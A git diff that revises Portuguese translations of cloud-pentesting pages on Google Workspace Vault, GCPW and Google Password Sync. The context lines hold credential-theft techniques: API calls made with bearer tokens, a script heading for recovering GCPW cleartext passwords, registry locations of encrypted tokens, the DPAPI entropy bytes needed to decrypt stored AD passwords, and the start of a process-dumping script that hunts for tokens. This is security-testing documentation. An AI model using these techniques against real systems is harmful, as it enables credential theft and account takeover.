-https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile +https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile ```bash curl -X GET \ -H "Authorization: Bearer $access_token" \ @@ -762,8 +760,8 @@ curl -X POST \ **Google Workspace Vault** é um complemento para o Google Workspace que fornece ferramentas para retenção de dados, pesquisa e exportação dos dados da sua organização armazenados nos serviços do Google Workspace, como Gmail, Drive, Chat e mais. -- Um **Matter** no Google Workspace Vault é um **container** que organiza e agrupa todas as informações relacionadas a um caso específico, investigação ou questão legal. Ele serve como o hub central para gerenciar **Holds**, **Searches** e **Exports** relacionados a essa questão particular. -- Um **Hold** no Google Workspace Vault é uma **ação de preservação** aplicada a usuários ou grupos específicos para **prevenir a exclusão ou alteração** de seus dados dentro dos serviços do Google Workspace. Holds garantem que as informações relevantes permaneçam intactas e não modificadas durante a duração de um caso legal ou investigação. +- Um **Caso** no Google Workspace Vault é um **container** que organiza e agrupa todas as informações relacionadas a um caso específico, investigação ou questão legal. Ele serve como o hub central para gerenciar **Suspensões**, **Pesquisas** e **Exportações** relacionadas a essa questão particular. +- Uma **Suspensão** no Google Workspace Vault é uma **ação de preservação** aplicada a usuários ou grupos específicos para **prevenir a exclusão ou alteração** de seus dados dentro dos serviços do Google Workspace. As suspensões garantem que as informações relevantes permaneçam intactas e não modificadas durante a duração de um caso legal ou investigação. ```bash # List matters curl -X GET \ @@ -805,11 +803,11 @@ Então, procure pelo segredo como `Chrome-GCPW-` como na imagem:
-Então, com um **access token** com o escopo `https://www.google.com/accounts/OAuthLogin`, é possível solicitar a chave privada para descriptografar a senha: +Então, com um **token de acesso** com o escopo `https://www.google.com/accounts/OAuthLogin`, é possível solicitar a chave privada para descriptografar a senha:
-Script para obter a senha em texto claro dado o access token, senha criptografada e id do recurso +Script para obter a senha em texto claro dado o token de acesso, senha criptografada e id do recurso ```python import requests from base64 import b64decode diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md index 5f272c517..4351e5951 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md @@ -29,7 +29,7 @@ Quanto ao AD, é possível indicar para usar o **contexto de aplicações atual, No arquivo **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** é possível encontrar parte da configuração, como o **`baseDN`** do AD configurado e o **`username`** cujas credenciais estão sendo usadas. -No registro **`HKLM\Software\Google\Google Apps Password Sync`** é possível encontrar o **token de atualização criptografado** e a **senha criptografada** para o usuário do AD (se houver). Além disso, se em vez de um token, algumas **credenciais de SA** forem usadas, também é possível encontrar essas criptografadas nesse endereço do registro. Os **valores** dentro deste registro são acessíveis apenas por **Administradores**. +No registro **`HKLM\Software\Google\Google Apps Password Sync`** é possível encontrar o **token de atualização criptografado** e a **senha criptografada** para o usuário do AD (se houver). Além disso, se em vez de um token, algumas **credenciais de SA** forem usadas, também é possível encontrá-las criptografadas nesse endereço do registro. Os **valores** dentro deste registro são acessíveis apenas por **Administradores**. A **senha** criptografada (se houver) está dentro da chave **`ADPassword`** e é criptografada usando a API **`CryptProtectData`**. Para descriptografá-la, você precisa ser o mesmo usuário que configurou a sincronização de senhas e usar esta **entropia** ao usar a **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };` @@ -42,7 +42,7 @@ Os valores de entropia foram encontrados usando a ferramenta. Ela foi configurad Note que também é possível ver os valores **descriptografados** na entrada ou saída das chamadas para essas APIs também (caso em algum momento o Winpeas pare de funcionar). -Caso a sincronização de senhas tenha sido **configurada com credenciais de SA**, também será armazenada em chaves dentro do registro **`HKLM\Software\Google\Google Apps Password Sync`**. +Caso a Sincronização de Senhas tenha sido **configurada com credenciais de SA**, também será armazenada em chaves dentro do registro **`HKLM\Software\Google\Google Apps Password Sync`**. ### GPS - Extraindo tokens da memória @@ -52,7 +52,7 @@ Acho que você também poderia encontrar as credenciais configuradas do AD.
Extrair PasswordSync.exe e os processos password_sync_service.exe e buscar tokens -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"